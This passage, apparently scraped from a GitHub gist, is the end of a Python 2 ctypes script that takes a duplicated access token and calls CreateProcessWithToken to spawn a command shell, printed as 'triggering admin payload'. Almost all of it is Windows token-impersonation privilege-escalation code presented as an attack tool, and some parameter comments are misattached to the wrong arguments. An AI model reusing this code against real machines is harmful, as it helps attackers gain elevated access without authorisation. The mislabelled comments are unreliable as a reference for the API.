lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | |
lpStartupInfo.wShowWindow = SW_SHOW | |
CREATE_NEW_CONSOLE = 0x00000010 | |
CMDPath = create_unicode_buffer(1024) | |
kernel32.GetEnvironmentVariableW(u"COMSPEC", CMDPath, 1024) | |
lpApplicationName = CMDPath.value | |
knacracklov3 = CreateProcessWithToken( | |
hTokendupe, # _In_ hToken A handle to the primary token that represents a user. The handle must have the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights. To get a primary token that represents the specified user, call the DuplicateTokenEx function to convert an impersonation token into a primary token. | |
LOGON_NETCREDENTIALS_ONLY, # _In_ dwLogonFlags Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials. | |
lpApplicationName, # _In_opt_ lpApplicationName The name of the module to be executed. | |
None, # _Inout_opt_ lpCommandLine The command line to be executed. | |
CREATE_NEW_CONSOLE, # _In_ dwCreationFlagg The flags that control how the process is created. | |
None, # _In_opt_ lpEnvironment A pointer to an environment block for the new process. If this parameter is NULL, the new process uses an environment created from the profile of the user specified by lpUsername. | |
None, # _In_opt_ dwCreationFlags The flags that control how the process is created. The new process has a new console, instead of inheriting the parent's console. This flag cannot be used with the DETACHED_PROCESS flag. | |
byref(lpStartupInfo), # _In_ lpStartupInfo A pointer to a STARTUPINFO structure. | |
byref(lpProcessInformation)) # _Out_ lpProcessInfo A pointer to a PROCESS_INFORMATION structure that receives identification information for the new process, including a handle to the process. | |
if knacracklov3 == 0: | |
raise RuntimeError("Error while triggering admin payload using CreateProcessWithLogonW: %s" %GetLastError()) | |
print "[*] Triggering payload PID:", lpProcessInformation.dwProcessId |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Knackrack love